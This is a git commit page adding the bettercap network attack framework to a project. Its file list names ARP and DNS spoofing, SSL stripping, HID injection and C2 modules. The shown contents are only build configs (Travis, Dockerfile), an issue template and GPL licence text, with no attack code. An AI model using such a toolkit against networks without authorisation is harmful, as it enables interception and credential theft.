Browse Source

Adding bettercap for packet injection service

Peter Alcock 8 months ago
parent
commit
1e043aabac
100 changed files with 13514 additions and 0 deletions
  1. 12 0
      bettercap/.github/FUNDING.yml
  2. 16 0
      bettercap/.gitignore
  3. 182 0
      bettercap/.travis.yml
  4. 26 0
      bettercap/Dockerfile
  5. 33 0
      bettercap/ISSUE_TEMPLATE.md
  6. 596 0
      bettercap/LICENSE.md
  7. 42 0
      bettercap/Makefile
  8. 35 0
      bettercap/README.md
  9. 9 0
      bettercap/SECURITY.md
  10. 15 0
      bettercap/bettercap.service
  11. 141 0
      bettercap/build.sh
  12. 73 0
      bettercap/builder/arm_builder.sh
  13. 10 0
      bettercap/builder/libusb.pc
  14. 63 0
      bettercap/caplets/caplet.go
  15. 2 0
      bettercap/caplets/doc.go
  16. 67 0
      bettercap/caplets/env.go
  17. 110 0
      bettercap/caplets/manager.go
  18. 8 0
      bettercap/core/banner.go
  19. 33 0
      bettercap/core/banner_test.go
  20. 48 0
      bettercap/core/core.go
  21. 7 0
      bettercap/core/core_android.go
  22. 99 0
      bettercap/core/core_test.go
  23. 7 0
      bettercap/core/core_unix.go
  24. 5 0
      bettercap/core/core_windows.go
  25. 2 0
      bettercap/core/doc.go
  26. 49 0
      bettercap/core/options.go
  27. 2 0
      bettercap/firewall/doc.go
  28. 8 0
      bettercap/firewall/firewall.go
  29. 177 0
      bettercap/firewall/firewall_darwin.go
  30. 168 0
      bettercap/firewall/firewall_linux.go
  31. 119 0
      bettercap/firewall/firewall_windows.go
  32. 27 0
      bettercap/firewall/redirection.go
  33. 48 0
      bettercap/go.mod
  34. 149 0
      bettercap/go.sum
  35. 90 0
      bettercap/js/data.go
  36. 70 0
      bettercap/js/fs.go
  37. 156 0
      bettercap/js/http.go
  38. 39 0
      bettercap/js/init.go
  39. 48 0
      bettercap/js/log.go
  40. 26 0
      bettercap/js/random.go
  41. 2 0
      bettercap/log/doc.go
  42. 27 0
      bettercap/log/log.go
  43. 107 0
      bettercap/main.go
  44. 188 0
      bettercap/modules/any_proxy/any_proxy.go
  45. 311 0
      bettercap/modules/api_rest/api_rest.go
  46. 438 0
      bettercap/modules/api_rest/api_rest_controller.go
  47. 118 0
      bettercap/modules/api_rest/api_rest_record.go
  48. 86 0
      bettercap/modules/api_rest/api_rest_replay.go
  49. 118 0
      bettercap/modules/api_rest/api_rest_ws.go
  50. 333 0
      bettercap/modules/arp_spoof/arp_spoof.go
  51. 17 0
      bettercap/modules/ble/ble_options_darwin.go
  52. 25 0
      bettercap/modules/ble/ble_options_linux.go
  53. 287 0
      bettercap/modules/ble/ble_recon.go
  54. 76 0
      bettercap/modules/ble/ble_recon_events.go
  55. 153 0
      bettercap/modules/ble/ble_show.go
  56. 411 0
      bettercap/modules/ble/ble_show_services.go
  57. 32 0
      bettercap/modules/ble/ble_show_sort.go
  58. 55 0
      bettercap/modules/ble/ble_unsupported.go
  59. 385 0
      bettercap/modules/c2/c2.go
  60. 150 0
      bettercap/modules/caplets/caplets.go
  61. 389 0
      bettercap/modules/dhcp6_spoof/dhcp6_spoof.go
  62. 332 0
      bettercap/modules/dns_spoof/dns_spoof.go
  63. 83 0
      bettercap/modules/dns_spoof/dns_spoof_hosts.go
  64. 2 0
      bettercap/modules/doc.go
  65. 61 0
      bettercap/modules/events_stream/events_rotation.go
  66. 369 0
      bettercap/modules/events_stream/events_stream.go
  67. 60 0
      bettercap/modules/events_stream/events_triggers.go
  68. 148 0
      bettercap/modules/events_stream/events_view.go
  69. 52 0
      bettercap/modules/events_stream/events_view_ble.go
  70. 12 0
      bettercap/modules/events_stream/events_view_ble_unsupported.go
  71. 23 0
      bettercap/modules/events_stream/events_view_gateway.go
  72. 24 0
      bettercap/modules/events_stream/events_view_gps.go
  73. 27 0
      bettercap/modules/events_stream/events_view_hid.go
  74. 212 0
      bettercap/modules/events_stream/events_view_http.go
  75. 148 0
      bettercap/modules/events_stream/events_view_wifi.go
  76. 141 0
      bettercap/modules/events_stream/trigger_list.go
  77. 217 0
      bettercap/modules/gps/gps.go
  78. 40 0
      bettercap/modules/hid/build_amazon.go
  79. 60 0
      bettercap/modules/hid/build_logitech.go
  80. 73 0
      bettercap/modules/hid/build_microsoft.go
  81. 34 0
      bettercap/modules/hid/builders.go
  82. 39 0
      bettercap/modules/hid/command.go
  83. 187 0
      bettercap/modules/hid/duckyparser.go
  84. 233 0
      bettercap/modules/hid/hid.go
  85. 148 0
      bettercap/modules/hid/hid_inject.go
  86. 134 0
      bettercap/modules/hid/hid_recon.go
  87. 123 0
      bettercap/modules/hid/hid_show.go
  88. 19 0
      bettercap/modules/hid/hid_show_sort.go
  89. 96 0
      bettercap/modules/hid/hid_sniff.go
  90. 2123 0
      bettercap/modules/hid/keymaps.go
  91. 146 0
      bettercap/modules/http_proxy/http_proxy.go
  92. 454 0
      bettercap/modules/http_proxy/http_proxy_base.go
  93. 81 0
      bettercap/modules/http_proxy/http_proxy_base_cookietracker.go
  94. 164 0
      bettercap/modules/http_proxy/http_proxy_base_filters.go
  95. 72 0
      bettercap/modules/http_proxy/http_proxy_base_hosttracker.go
  96. 295 0
      bettercap/modules/http_proxy/http_proxy_base_sslstriper.go
  97. 31 0
      bettercap/modules/http_proxy/http_proxy_cert_cache.go
  98. 243 0
      bettercap/modules/http_proxy/http_proxy_js_request.go
  99. 183 0
      bettercap/modules/http_proxy/http_proxy_js_response.go
  100. 100 0
      bettercap/modules/http_proxy/http_proxy_script.go

+ 12 - 0
bettercap/.github/FUNDING.yml

@@ -0,0 +1,12 @@
+# These are supported funding model platforms
+
+github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
+patreon: evilsocket
+open_collective: # Replace with a single Open Collective username
+ko_fi: # Replace with a single Ko-fi username
+tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
+community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
+liberapay: # Replace with a single Liberapay username
+issuehunt: # Replace with a single IssueHunt username
+otechie: # Replace with a single Otechie username
+custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']

+ 16 - 0
bettercap/.gitignore

@@ -0,0 +1,16 @@
+*.sw*
+*.tar.gz
+*.prof*
+_example/config.js
+pcaps
+build
+bettercap
+bettercap.history
+*.snap
+*.snap.xdelta3
+prime/
+snap/
+stage/
+
+/snap
+.idea

+ 182 - 0
bettercap/.travis.yml

@@ -0,0 +1,182 @@
+# Globals
+language: go
+go:
+  - 1.16.x
+env:
+  global:
+    - VERSION=$(echo ${TRAVIS_BRANCH} | sed "s/\//_/g")
+    - OUTPUT="bettercap"
+cache:
+  apt: true
+
+# Includes
+linux_deps: &linux_deps
+  os: linux
+  dist: bionic
+  addons:
+    apt:
+      packages:
+        - p7zip-full
+        - libpcap-dev
+        - libnetfilter-queue-dev
+        - libusb-1.0-0-dev
+      update: true
+
+finish: &finish
+  after_success:
+    - file "${OUTPUT}"
+    - openssl dgst -sha256 "${OUTPUT}" | tee bettercap_${TARGET_OS}_${TARGET_ARCH}_${VERSION}.sha256
+    - 7z a "bettercap_${TARGET_OS}_${TARGET_ARCH}_${VERSION}.zip" "${OUTPUT}" "bettercap_${TARGET_OS}_${TARGET_ARCH}_${VERSION}.sha256"
+    - ls -la bettercap*
+
+cross_deps: &cross_deps
+  <<: *linux_deps
+  before_install:
+    - wget --show-progress -qcO "qemu.deb" "https://github.com/bettercap/buildutils/raw/main/qemu-user-static_5.2_dfsg-9_amd64.deb"
+    - sudo dpkg -i "qemu.deb"
+
+normal_install: &normal_install
+  install:
+    - make -e TARGET="${OUTPUT}"
+  <<: *finish
+
+cross_install: &cross_install
+  install:
+    - sudo builder/arm_builder.sh bettercap make -e TARGET="${OUTPUT}"
+  <<: *finish
+
+# Tasks
+matrix:
+  include:
+    - name: Linux - amd64
+      if: tag IS present
+      arch: amd64
+      env:
+        - TARGET_OS=linux
+        - TARGET_ARCH=amd64
+      <<: *linux_deps
+      <<: *normal_install
+
+    - name: Linux - aarch64
+      if: tag IS present
+      arch: arm64
+      env:
+        - TARGET_OS=linux
+        - TARGET_ARCH=aarch64
+        - GEM_HOME=~/.ruby
+        - PATH=$PATH:~/.ruby/bin
+      <<: *linux_deps
+      <<: *normal_install
+      before_install:
+        - mkdir -p ~/.ruby
+
+    - name: Linux - armhf
+      if: tag IS present
+      language: minimal
+      arch: amd64
+      env:
+        - TARGET_OS=linux
+        - TARGET_ARCH=armhf
+      <<: *cross_deps
+      <<: *cross_install
+
+    - name: OSX - amd64
+      if: tag IS present
+      os: osx
+      osx_image: xcode12.5
+      arch: amd64
+      addons:
+        homebrew:
+          packages:
+            - libpcap
+            - libusb
+            - p7zip
+          update: true
+      env:
+        - TARGET_OS=darwin
+        - TARGET_ARCH=amd64
+        - PATH="/usr/local/opt/libpcap/bin:$PATH"
+        - LDFLAGS="-L/usr/local/opt/libpcap/lib $LDFLAGS"
+        - CPPFLAGS="-I/usr/local/opt/libpcap/include $CPPFLAGS"
+        - PKG_CONFIG_PATH="/usr/local/opt/libpcap/lib/pkgconfig:$PKG_CONFIG_PATH"
+      <<: *normal_install
+
+    - name: Windows - amd64
+      if: tag IS present
+      os: windows
+      arch: amd64
+      env:
+        - TARGET_OS=windows
+        - TARGET_ARCH=amd64
+        - PKG_CONFIG_PATH="c:/pkg-config"
+        - OUTPUT=bettercap.exe
+        - CGO_CFLAGS="-I/c/winpcap/WpdPack/Include -I/c/libusb/include/libusb-1.0"
+        - CGO_LDFLAGS="-L/c/winpcap/WpdPack/Lib/x64 -L/c/libusb/MinGW64/static"
+      before_install:
+        - choco install openssl.light -y
+        - choco install make -y
+        - choco install 7zip -y
+        - choco install pkgconfiglite -y
+        - mkdir /c/pkg-config
+        - choco install zadig -y
+        - curl -L "https://github.com/libusb/libusb/releases/download/v1.0.24/libusb-1.0.24.7z" -o "/c/libusb.7z"
+        - 7z x -y "/c/libusb.7z" -o"/c/libusb"
+        - cp builder/libusb.pc /c/pkg-config/libusb.pc
+        - cp builder/libusb.pc /c/pkg-config/libusb-1.0.pc
+        - choco install winpcap -y
+        - curl -L "https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip" -o "c:/wpcap-sdk.zip"
+        - 7z x -y "/c/wpcap-sdk.zip" -o"/c/winpcap"
+ 
+      <<: *normal_install
+
+    - name: Linux - tests
+      if: tag IS blank
+      os: linux
+      arch: amd64
+      allow_failures:
+        - go: master
+      fast_finish: true
+      <<: *linux_deps
+      script:
+        - env GO111MODULE=on make test
+
+    - name: OSX - tests
+      if: tag IS blank
+      os: osx
+      osx_image: xcode12.5
+      arch: amd64
+      allow_failures:
+        - go: master
+      fast_finish: true
+      addons:
+        homebrew:
+          packages:
+            - libpcap
+            - libusb
+            - p7zip
+          update: true
+      env:
+        - TARGET_OS=darwin
+        - TARGET_ARCH=amd64
+        - PATH="/usr/local/opt/libpcap/bin:$PATH"
+        - LDFLAGS="-L/usr/local/opt/libpcap/lib $LDFLAGS"
+        - CPPFLAGS="-I/usr/local/opt/libpcap/include $CPPFLAGS"
+        - PKG_CONFIG_PATH="/usr/local/opt/libpcap/lib/pkgconfig:$PKG_CONFIG_PATH"
+      script:
+        - env GO111MODULE=on make test
+
+deploy:
+  provider: releases
+  api_key:
+    secure: gaQDeYOe/8lL3++jok73kSNtJVyj5Dk8RdxerjSa3hsVrL5IljsNsGGXocesCQ4ubFrnOO26RmO1FxMKmqYBpewRwQ6GKqZjc7IbwR9Cy0c0AyRRULnCsXue3NxIQBobqAwKtaaqDPHZcX1eOVgDnrheMpT5nt9YN2Xyv9zdFAmjfhUxv8K3nyv9eOMHYy0TmcKanQSXcYTHnUONt4Af5XA2NZGTtLUB+FAEf93vLqyqmmkX0EJciYu3HSZmCPFLLACi1WDSvt+e4TlozrutMpgm3JNzZ3eg6IsesRzxy/s2HeOnVJLMCadGjqap98xfSY6V00cUdCny+n8xfDgCzMljM0bEMDUhIs97AFdLXJZKPRGrNSmnurIcJ+NaVrFS5BMiLwQ2J6WiRvDaCWROVd+Vml/bWWZIUsMxVapEN5vbtw8R/gSVQyZnZUXLrArIBQxenSFlMcWDi+VMF38GrQgAB/ddlMZqWjVubpWOSN45Eity0SsLAgsAuNjH1YCeCr0zj1sG08NPsnTPSKr+661iuOTpsdgu/4crF6qcFcl/kvJsw6tyFPVLO5yzbX9q4O778vXRduzPuBeD63eFuHD8pwceGxWWxN9vnQtX6OqRKmEsrLP7aL9dkI2zgp7TOj058hNQefQ5FD25yfKNCUfp/tnxa6XrkrPzWq/SX7c=
+  skip_cleanup: true
+  file_glob: true
+  file:
+    - bettercap_*.zip
+    - bettercap_*.sha256
+  on:
+    tags: true
+    repo: bettercap/bettercap
+  branches:
+    only:
+      - "/^v[0-9]+\\.[0-9]+\\.[0-9]+[A-Za-z0-9]+?$/"

+ 26 - 0
bettercap/Dockerfile

@@ -0,0 +1,26 @@
+# build stage
+FROM golang:1.16-alpine3.15 AS build-env
+
+ENV SRC_DIR $GOPATH/src/github.com/bettercap/bettercap
+
+RUN apk add --no-cache ca-certificates
+RUN apk add --no-cache bash iptables wireless-tools build-base libpcap-dev libusb-dev linux-headers libnetfilter_queue-dev git
+
+WORKDIR $SRC_DIR
+ADD . $SRC_DIR
+RUN make
+
+# get caplets
+RUN mkdir -p /usr/local/share/bettercap
+RUN git clone https://github.com/bettercap/caplets /usr/local/share/bettercap/caplets
+
+# final stage
+FROM alpine:3.15
+RUN apk add --no-cache ca-certificates
+RUN apk add --no-cache bash iproute2 libpcap libusb-dev libnetfilter_queue wireless-tools
+COPY --from=build-env /go/src/github.com/bettercap/bettercap/bettercap /app/
+COPY --from=build-env /usr/local/share/bettercap/caplets /app/
+WORKDIR /app
+
+EXPOSE 80 443 53 5300 8080 8081 8082 8083 8000
+ENTRYPOINT ["/app/bettercap"]

+ 33 - 0
bettercap/ISSUE_TEMPLATE.md

@@ -0,0 +1,33 @@
+# Prerequisites
+
+Please, before creating this issue make sure that you read the [README](https://github.com/bettercap/bettercap/blob/master/README.md), that you are running the [latest stable version](https://github.com/bettercap/bettercap/releases) and that you already searched [other issues](https://github.com/bettercap/bettercap/issues?q=is%3Aopen+is%3Aissue+label%3Abug) to see if your problem or request was already reported.
+
+! PLEASE REMOVE THIS PART AND LEAVE ONLY THE FOLLOWING SECTIONS IN YOUR REPORT !
+---
+
+*Description of the bug or feature request*
+
+### Environment
+
+Please provide:
+
+* Bettercap version you are using ( `bettercap -version` ).
+* OS version and architecture you are using.
+* Go version if building from sources.
+* Command line arguments you are using.
+* Caplet code you are using or the interactive session commands.
+* **Full debug output** while reproducing the issue ( `bettercap -debug ...` ).
+
+### Steps to Reproduce
+
+1. *First Step*
+2. *Second Step*
+3. *and so on...*
+
+**Expected behavior:** *What you expected to happen*
+
+**Actual behavior:** *What actually happened*
+
+-- 
+
+**♥ ANY INCOMPLETE REPORT WILL BE CLOSED RIGHT AWAY ♥**

+ 596 - 0
bettercap/LICENSE.md

@@ -0,0 +1,596 @@
+GNU GENERAL PUBLIC LICENSE
+==========================
+
+Version 3, 29 June 2007
+
+Copyright &copy; 2007 Free Software Foundation, Inc. &lt;<https://www.fsf.org/>&gt;
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+## Preamble
+
+The GNU General Public License is a free, copyleft license for software and other
+kinds of works.
+
+The licenses for most software and other practical works are designed to take away
+your freedom to share and change the works. By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change all versions of a
+program--to make sure it remains free software for all its users. We, the Free
+Software Foundation, use the GNU General Public License for most of our software; it
+applies also to any other work released this way by its authors. You can apply it to
+your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Our General
+Public Licenses are designed to make sure that you have the freedom to distribute
+copies of free software (and charge for them if you wish), that you receive source
+code or can get it if you want it, that you can change the software or use pieces of
+it in new free programs, and that you know you can do these things.
+
+To protect your rights, we need to prevent others from denying you these rights or
+asking you to surrender the rights. Therefore, you have certain responsibilities if
+you distribute copies of the software, or if you modify it: responsibilities to
+respect the freedom of others.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee,
+you must pass on to the recipients the same freedoms that you received. You must make
+sure that they, too, receive or can get the source code. And you must show them these
+terms so they know their rights.
+
+Developers that use the GNU GPL protect your rights with two steps: (1) assert
+copyright on the software, and (2) offer you this License giving you legal permission
+to copy, distribute and/or modify it.
+
+For the developers' and authors' protection, the GPL clearly explains that there is
+no warranty for this free software. For both users' and authors' sake, the GPL
+requires that modified versions be marked as changed, so that their problems will not
+be attributed erroneously to authors of previous versions.
+
+Some devices are designed to deny users access to install or run modified versions of
+the software inside them, although the manufacturer can do so. This is fundamentally
+incompatible with the aim of protecting users' freedom to change the software. The
+systematic pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we have designed
+this version of the GPL to prohibit the practice for those products. If such problems
+arise substantially in other domains, we stand ready to extend this provision to
+those domains in future versions of the GPL, as needed to protect the freedom of
+users.
+
+Finally, every program is threatened constantly by software patents. States should
+not allow patents to restrict development and use of software on general-purpose
+computers, but in those that do, we wish to avoid the special danger that patents
+applied to a free program could make it effectively proprietary. To prevent this, the
+GPL assures that patents cannot be used to render the program non-free.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+## TERMS AND CONDITIONS
+
+### 0. Definitions.
+
+&ldquo;This License&rdquo; refers to version 3 of the GNU General Public License.
+
+&ldquo;Copyright&rdquo; also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+&ldquo;The Program&rdquo; refers to any copyrightable work licensed under this
+License. Each licensee is addressed as &ldquo;you&rdquo;. &ldquo;Licensees&rdquo; and
+&ldquo;recipients&rdquo; may be individuals or organizations.
+
+To &ldquo;modify&rdquo; a work means to copy from or adapt all or part of the work in
+a fashion requiring copyright permission, other than the making of an exact copy. The
+resulting work is called a &ldquo;modified version&rdquo; of the earlier work or a
+work &ldquo;based on&rdquo; the earlier work.
+
+A &ldquo;covered work&rdquo; means either the unmodified Program or a work based on
+the Program.
+
+To &ldquo;propagate&rdquo; a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for infringement under
+applicable copyright law, except executing it on a computer or modifying a private
+copy. Propagation includes copying, distribution (with or without modification),
+making available to the public, and in some countries other activities as well.
+
+To &ldquo;convey&rdquo; a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through a computer
+network, with no transfer of a copy, is not conveying.
+
+An interactive user interface displays &ldquo;Appropriate Legal Notices&rdquo; to the
+extent that it includes a convenient and prominently visible feature that (1)
+displays an appropriate copyright notice, and (2) tells the user that there is no
+warranty for the work (except to the extent that warranties are provided), that
+licensees may convey the work under this License, and how to view a copy of this
+License. If the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+### 1. Source Code.
+
+The &ldquo;source code&rdquo; for a work means the preferred form of the work for
+making modifications to it. &ldquo;Object code&rdquo; means any non-source form of a
+work.
+
+A &ldquo;Standard Interface&rdquo; means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of interfaces
+specified for a particular programming language, one that is widely used among
+developers working in that language.
+
+The &ldquo;System Libraries&rdquo; of an executable work include anything, other than
+the work as a whole, that (a) is included in the normal form of packaging a Major
+Component, but which is not part of that Major Component, and (b) serves only to
+enable use of the work with that Major Component, or to implement a Standard
+Interface for which an implementation is available to the public in source code form.
+A &ldquo;Major Component&rdquo;, in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system (if any) on which
+the executable work runs, or a compiler used to produce the work, or an object code
+interpreter used to run it.
+
+The &ldquo;Corresponding Source&rdquo; for a work in object code form means all the
+source code needed to generate, install, and (for an executable work) run the object
+code and to modify the work, including scripts to control those activities. However,
+it does not include the work's System Libraries, or general-purpose tools or
+generally available free programs which are used unmodified in performing those
+activities but which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for the work, and
+the source code for shared libraries and dynamically linked subprograms that the work
+is specifically designed to require, such as by intimate data communication or
+control flow between those subprograms and other parts of the work.
+
+The Corresponding Source need not include anything that users can regenerate
+automatically from other parts of the Corresponding Source.
+
+The Corresponding Source for a work in source code form is that same work.
+
+### 2. Basic Permissions.
+
+All rights granted under this License are granted for the term of copyright on the
+Program, and are irrevocable provided the stated conditions are met. This License
+explicitly affirms your unlimited permission to run the unmodified Program. The
+output from running a covered work is covered by this License only if the output,
+given its content, constitutes a covered work. This License acknowledges your rights
+of fair use or other equivalent, as provided by copyright law.
+
+You may make, run and propagate covered works that you do not convey, without
+conditions so long as your license otherwise remains in force. You may convey covered
+works to others for the sole purpose of having them make modifications exclusively
+for you, or provide you with facilities for running those works, provided that you
+comply with the terms of this License in conveying all material for which you do not
+control copyright. Those thus making or running the covered works for you must do so
+exclusively on your behalf, under your direction and control, on terms that prohibit
+them from making any copies of your copyrighted material outside their relationship
+with you.
+
+Conveying under any other circumstances is permitted solely under the conditions
+stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
+
+### 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+No covered work shall be deemed part of an effective technological measure under any
+applicable law fulfilling obligations under article 11 of the WIPO copyright treaty
+adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention
+of such measures.
+
+When you convey a covered work, you waive any legal power to forbid circumvention of
+technological measures to the extent such circumvention is effected by exercising
+rights under this License with respect to the covered work, and you disclaim any
+intention to limit operation or modification of the work as a means of enforcing,
+against the work's users, your or third parties' legal rights to forbid circumvention
+of technological measures.
+
+### 4. Conveying Verbatim Copies.
+
+You may convey verbatim copies of the Program's source code as you receive it, in any
+medium, provided that you conspicuously and appropriately publish on each copy an
+appropriate copyright notice; keep intact all notices stating that this License and
+any non-permissive terms added in accord with section 7 apply to the code; keep
+intact all notices of the absence of any warranty; and give all recipients a copy of
+this License along with the Program.
+
+You may charge any price or no price for each copy that you convey, and you may offer
+support or warranty protection for a fee.
+
+### 5. Conveying Modified Source Versions.
+
+You may convey a work based on the Program, or the modifications to produce it from
+the Program, in the form of source code under the terms of section 4, provided that
+you also meet all of these conditions:
+
+* **a)** The work must carry prominent notices stating that you modified it, and giving a
+relevant date.
+* **b)** The work must carry prominent notices stating that it is released under this
+License and any conditions added under section 7. This requirement modifies the
+requirement in section 4 to &ldquo;keep intact all notices&rdquo;.
+* **c)** You must license the entire work, as a whole, under this License to anyone who
+comes into possession of a copy. This License will therefore apply, along with any
+applicable section 7 additional terms, to the whole of the work, and all its parts,
+regardless of how they are packaged. This License gives no permission to license the
+work in any other way, but it does not invalidate such permission if you have
+separately received it.
+* **d)** If the work has interactive user interfaces, each must display Appropriate Legal
+Notices; however, if the Program has interactive interfaces that do not display
+Appropriate Legal Notices, your work need not make them do so.
+
+A compilation of a covered work with other separate and independent works, which are
+not by their nature extensions of the covered work, and which are not combined with
+it such as to form a larger program, in or on a volume of a storage or distribution
+medium, is called an &ldquo;aggregate&rdquo; if the compilation and its resulting
+copyright are not used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work in an aggregate
+does not cause this License to apply to the other parts of the aggregate.
+
+### 6. Conveying Non-Source Forms.
+
+You may convey a covered work in object code form under the terms of sections 4 and
+5, provided that you also convey the machine-readable Corresponding Source under the
+terms of this License, in one of these ways:
+
+* **a)** Convey the object code in, or embodied in, a physical product (including a
+physical distribution medium), accompanied by the Corresponding Source fixed on a
+durable physical medium customarily used for software interchange.
+* **b)** Convey the object code in, or embodied in, a physical product (including a
+physical distribution medium), accompanied by a written offer, valid for at least
+three years and valid for as long as you offer spare parts or customer support for
+that product model, to give anyone who possesses the object code either (1) a copy of
+the Corresponding Source for all the software in the product that is covered by this
+License, on a durable physical medium customarily used for software interchange, for
+a price no more than your reasonable cost of physically performing this conveying of
+source, or (2) access to copy the Corresponding Source from a network server at no
+charge.
+* **c)** Convey individual copies of the object code with a copy of the written offer to
+provide the Corresponding Source. This alternative is allowed only occasionally and
+noncommercially, and only if you received the object code with such an offer, in
+accord with subsection 6b.
+* **d)** Convey the object code by offering access from a designated place (gratis or for
+a charge), and offer equivalent access to the Corresponding Source in the same way
+through the same place at no further charge. You need not require recipients to copy
+the Corresponding Source along with the object code. If the place to copy the object
+code is a network server, the Corresponding Source may be on a different server
+(operated by you or a third party) that supports equivalent copying facilities,
+provided you maintain clear directions next to the object code saying where to find
+the Corresponding Source. Regardless of what server hosts the Corresponding Source,
+you remain obligated to ensure that it is available for as long as needed to satisfy
+these requirements.
+* **e)** Convey the object code using peer-to-peer transmission, provided you inform
+other peers where the object code and Corresponding Source of the work are being
+offered to the general public at no charge under subsection 6d.
+
+A separable portion of the object code, whose source code is excluded from the
+Corresponding Source as a System Library, need not be included in conveying the
+object code work.
+
+A &ldquo;User Product&rdquo; is either (1) a &ldquo;consumer product&rdquo;, which
+means any tangible personal property which is normally used for personal, family, or
+household purposes, or (2) anything designed or sold for incorporation into a
+dwelling. In determining whether a product is a consumer product, doubtful cases
+shall be resolved in favor of coverage. For a particular product received by a
+particular user, &ldquo;normally used&rdquo; refers to a typical or common use of
+that class of product, regardless of the status of the particular user or of the way
+in which the particular user actually uses, or expects or is expected to use, the
+product. A product is a consumer product regardless of whether the product has
+substantial commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+&ldquo;Installation Information&rdquo; for a User Product means any methods,
+procedures, authorization keys, or other information required to install and execute
+modified versions of a covered work in that User Product from a modified version of
+its Corresponding Source. The information must suffice to ensure that the continued
+functioning of the modified object code is in no case prevented or interfered with
+solely because modification has been made.
+
+If you convey an object code work under this section in, or with, or specifically for
+use in, a User Product, and the conveying occurs as part of a transaction in which
+the right of possession and use of the User Product is transferred to the recipient
+in perpetuity or for a fixed term (regardless of how the transaction is
+characterized), the Corresponding Source conveyed under this section must be
+accompanied by the Installation Information. But this requirement does not apply if
+neither you nor any third party retains the ability to install modified object code
+on the User Product (for example, the work has been installed in ROM).
+
+The requirement to provide Installation Information does not include a requirement to
+continue to provide support service, warranty, or updates for a work that has been
+modified or installed by the recipient, or for the User Product in which it has been
+modified or installed. Access to a network may be denied when the modification itself
+materially and adversely affects the operation of the network or violates the rules
+and protocols for communication across the network.
+
+Corresponding Source conveyed, and Installation Information provided, in accord with
+this section must be in a format that is publicly documented (and with an
+implementation available to the public in source code form), and must require no
+special password or key for unpacking, reading or copying.
+
+### 7. Additional Terms.
+
+&ldquo;Additional permissions&rdquo; are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions. Additional
+permissions that are applicable to the entire Program shall be treated as though they
+were included in this License, to the extent that they are valid under applicable
+law. If additional permissions apply only to part of the Program, that part may be
+used separately under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+When you convey a copy of a covered work, you may at your option remove any
+additional permissions from that copy, or from any part of it. (Additional
+permissions may be written to require their own removal in certain cases when you
+modify the work.) You may place additional permissions on material, added by you to a
+covered work, for which you have or can give appropriate copyright permission.
+
+Notwithstanding any other provision of this License, for material you add to a
+covered work, you may (if authorized by the copyright holders of that material)
+supplement the terms of this License with terms:
+
+* **a)** Disclaiming warranty or limiting liability differently from the terms of
+sections 15 and 16 of this License; or
+* **b)** Requiring preservation of specified reasonable legal notices or author
+attributions in that material or in the Appropriate Legal Notices displayed by works
+containing it; or
+* **c)** Prohibiting misrepresentation of the origin of that material, or requiring that
+modified versions of such material be marked in reasonable ways as different from the
+original version; or
+* **d)** Limiting the use for publicity purposes of names of licensors or authors of the
+material; or
+* **e)** Declining to grant rights under trademark law for use of some trade names,
+trademarks, or service marks; or
+* **f)** Requiring indemnification of licensors and authors of that material by anyone
+who conveys the material (or modified versions of it) with contractual assumptions of
+liability to the recipient, for any liability that these contractual assumptions
+directly impose on those licensors and authors.
+
+All other non-permissive additional terms are considered &ldquo;further
+restrictions&rdquo; within the meaning of section 10. If the Program as you received
+it, or any part of it, contains a notice stating that it is governed by this License
+along with a term that is a further restriction, you may remove that term. If a
+license document contains a further restriction but permits relicensing or conveying
+under this License, you may add to a covered work material governed by the terms of
+that license document, provided that the further restriction does not survive such
+relicensing or conveying.
+
+If you add terms to a covered work in accord with this section, you must place, in
+the relevant source files, a statement of the additional terms that apply to those
+files, or a notice indicating where to find the applicable terms.
+
+Additional terms, permissive or non-permissive, may be stated in the form of a
+separately written license, or stated as exceptions; the above requirements apply
+either way.
+
+### 8. Termination.
+
+You may not propagate or modify a covered work except as expressly provided under
+this License. Any attempt otherwise to propagate or modify it is void, and will
+automatically terminate your rights under this License (including any patent licenses
+granted under the third paragraph of section 11).
+
+However, if you cease all violation of this License, then your license from a
+particular copyright holder is reinstated (a) provisionally, unless and until the
+copyright holder explicitly and finally terminates your license, and (b) permanently,
+if the copyright holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently
+if the copyright holder notifies you of the violation by some reasonable means, this
+is the first time you have received notice of violation of this License (for any
+work) from that copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of
+parties who have received copies or rights from you under this License. If your
+rights have been terminated and not permanently reinstated, you do not qualify to
+receive new licenses for the same material under section 10.
+
+### 9. Acceptance Not Required for Having Copies.
+
+You are not required to accept this License in order to receive or run a copy of the
+Program. Ancillary propagation of a covered work occurring solely as a consequence of
+using peer-to-peer transmission to receive a copy likewise does not require
+acceptance. However, nothing other than this License grants you permission to
+propagate or modify any covered work. These actions infringe copyright if you do not
+accept this License. Therefore, by modifying or propagating a covered work, you
+indicate your acceptance of this License to do so.
+
+### 10. Automatic Licensing of Downstream Recipients.
+
+Each time you convey a covered work, the recipient automatically receives a license
+from the original licensors, to run, modify and propagate that work, subject to this
+License. You are not responsible for enforcing compliance by third parties with this
+License.
+
